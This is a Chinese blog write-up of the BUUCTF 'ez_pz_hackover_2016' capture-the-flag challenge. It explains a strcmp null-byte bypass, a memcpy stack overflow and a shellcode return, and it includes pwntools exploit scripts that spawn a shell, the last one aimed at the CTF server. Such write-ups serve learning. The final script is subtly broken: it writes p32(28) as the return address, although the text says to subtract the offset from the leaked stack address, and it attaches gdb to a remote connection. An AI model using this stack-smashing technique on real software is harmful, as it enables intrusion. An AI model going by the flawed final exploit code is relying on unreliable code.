BUUCTF-ez_pz_hackover_2016

通过这个题目,我学到了strcmp函数的功能在遇到\0会停止
在运行程序时输入字符,按下回车键后,也会产生一个\n来占据s的空间

检查并运行下

观察main函数,header()只是打印图形,chall()才是关键函数

在chall中先输出s的地址,之后fgets接收一个不大于1023(0x3ff)的字符到s的缓冲区中,但s的缓冲区有0x40c个字节,所以这里不能进行溢出

v3没用到不看了,v0是s的长度。然后利用strcmp函数把输入的字符和crashme比较,两者不相同,则程序结束,若相同则进入vuln()函数,参数是s和0x400
里面有一个memcpy函数

复制给dest的大小比dest本身大的多,有栈溢出

思路:写入shellcode到s,s中的内容复制到vuln函数中的dest然后溢出,控制程序指向shelldode执行
1.写入shellcode并让程序执行到vuln函数
strcmp函数从左到右逐个字符进行比较(ASCII值),直到出现不同的字符或遇到’\0’为止。
所以在fgets中即使输入了crashme,若没有’\0’,比较会继续进行下去,这样就无法绕过if了,所以应该输入 ‘crashme\x00’ 可以绕过这个if检查
2.vuln函数栈溢出(ida出问题了,不然可以直接看)
在ida里面dest距离ebp是32

但是看到网上师傅们说ida错了,我们调试分析一下
在nop操作0x8048600这里下一个断点,看一下这个时候的栈的情况

脚本

点击查看代码
from pwn import *
#p=remote()
p=process('./ez_pz_hackover_2016')
gdb.attach(p,'b *0x8048600')
payload='crashme\x00'+'aaaaaa'
p.sendline(payload)
pause()
一个简单的小脚本,运行后按一下c ![](https://img2022.cnblogs.com/blog/2769746/202205/2769746-20220506170340165-351764.png) 这时程序就断在0x8048600了 ![](https://img2022.cnblogs.com/blog/2769746/202205/2769746-20220506170421647-709258270.png) 看一下栈上的情况 ![](https://img2022.cnblogs.com/blog/2769746/202205/2769746-20220506170437883-92443666.png) 可以看到ashme,而上面0xff832810处,有72、63,对应r和c的ascII码,然后由于是小端序而且没有对齐,所以看起来就是在前面,离着下面的ashme有点远。 实际上c的位置是在0x22的位置(从0x20(取了后两位)开始算,0x20是f5,0x21是f7,0x22是63,0x23是72) 【【【这里也可以通过命令 ‘search crashme’来寻找,但是不知道为什么我用find就找不到】】】 然后ebp的位置是0x38,那么我们要填入的东西的长度就是0x16。1shellcode应该写在ebp之后(32位程序的ebp占4个字节),就是在0x16+0x4处,换句话说我们在覆盖完ebp后的返回地址应该填写指向shellcode的地址 3.找到shellcode的位置 我们的shellcode是写到s的栈里面的,之前通过printf泄露出s的地址,我们只要找到s和shellcode的偏移就可以知道shellcode和s的相对位置,所以相当于每次程序运行我们都可以用s的位置减去偏移得到shellcode的位置

到现在我们就可以去写一个初步的脚本了,我们现在只是不知道s和shellcode的偏移,我们在vuln函数栈溢出后的返回地址先不写。我们运行下这个小脚本,然后看看便宜到底是多少

点击查看代码
from pwn import *
r=process('./ez_pz_hackover_2016')
gdb.attach(r)
r.recvuntil('crash: ')
stack=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())
print(hex(stack))
payload=b'crashme\x00'+b'a'*(0x16-8+4)+p32(0)+shellcode
r.sendline(payload)
r.interactive()

栈里面jhh就是我们写入的shellcode的位置,算下来是28

填入,完成最终的exp

点击查看代码
from pwn import *
r=remote('node4.buuoj.cn',25743)
gdb.attach(r)
r.recvuntil('crash: ')
stack=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())
print(hex(stack))
payload=b'crashme\x00'+b'a'*(0x16-8+4)+p32(28)+shellcode
r.sendline(payload)
r.interactive()

posted @ 2022-05-06 13:48  -ro0t  阅读(313)  评论(0)    收藏  举报